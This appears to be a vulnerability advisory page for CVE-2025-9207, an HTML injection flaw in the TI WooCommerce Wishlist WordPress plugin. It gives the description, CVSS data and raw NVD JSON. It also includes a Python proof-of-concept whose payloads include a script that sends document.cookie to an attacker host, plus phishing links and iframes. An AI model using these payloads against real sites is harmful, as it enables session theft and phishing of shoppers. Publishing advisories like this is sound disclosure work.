Security Vulnerability Report
中文
CVE-2025-9207 CVSS 5.3 MEDIUM

CVE-2025-9207

Published: 2025-12-13 16:16:57
Last Modified: 2026-04-15 00:35:42

Description

The TI WooCommerce Wishlist plugin for WordPress is vulnerable to HTML Injection in all versions up to, and including, 2.10.0. This is due to the plugin accepting hidden fields and not limiting the values or data that can input and is later output. This makes it possible for unauthenticated attackers to inject arbitrary HTML into wishlist items.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TI WooCommerce Wishlist plugin ≤ 2.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-9207 PoC - TI WooCommerce Wishlist HTML Injection # Target: WordPress site with TI WooCommerce Wishlist plugin <= 2.10.0 target_url = "http://target-wordpress-site.com" # PoC: Inject HTML/JavaScript via wishlist hidden field # The plugin accepts hidden fields without proper sanitization injection_payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=fetch("https://attacker.com/log?c="+document.cookie)>', '<a href="https://malicious-site.com">Click here</a>', '<iframe src="https://phishing-site.com"></iframe>' ] # Attack vector: Send crafted POST request to wishlist endpoint # Endpoint typically: /?wc-ajax=add_to_wishlist for payload in injection_payloads: exploit_data = { 'wishlist_name': f'Test Wishlist {payload}', 'wishlist_visibility': 'public', 'product_id': '1', 'quantity': '1' } response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) print(f"Payload: {payload[:30]}... - Status: {response.status_code}") print("\nNote: Injected HTML will execute when viewing the wishlist")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9207", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TI WooCommerce Wishlist plugin for WordPress is vulnerable to HTML Injection in all versions up to, and including, 2.10.0. This is due to the plugin accepting hidden fields and not limiting the values or data that can input and is later output. This makes it possible for unauthenticated attackers to inject arbitrary HTML into wishlist items."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ti-woocommerce-wishlist/trunk/includes/wishlist.class.php#L326", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ti-woocommerce-wishlist/trunk/includes/wishlist.class.php#L544", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3399224%40ti-woocommerce-wishlist&new=3399224%40ti-woocommerce-wishlist&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8d08d381-d0ef-4f40-975d-51e919a7c872?source=cve", "source": "[email protected]"}]}}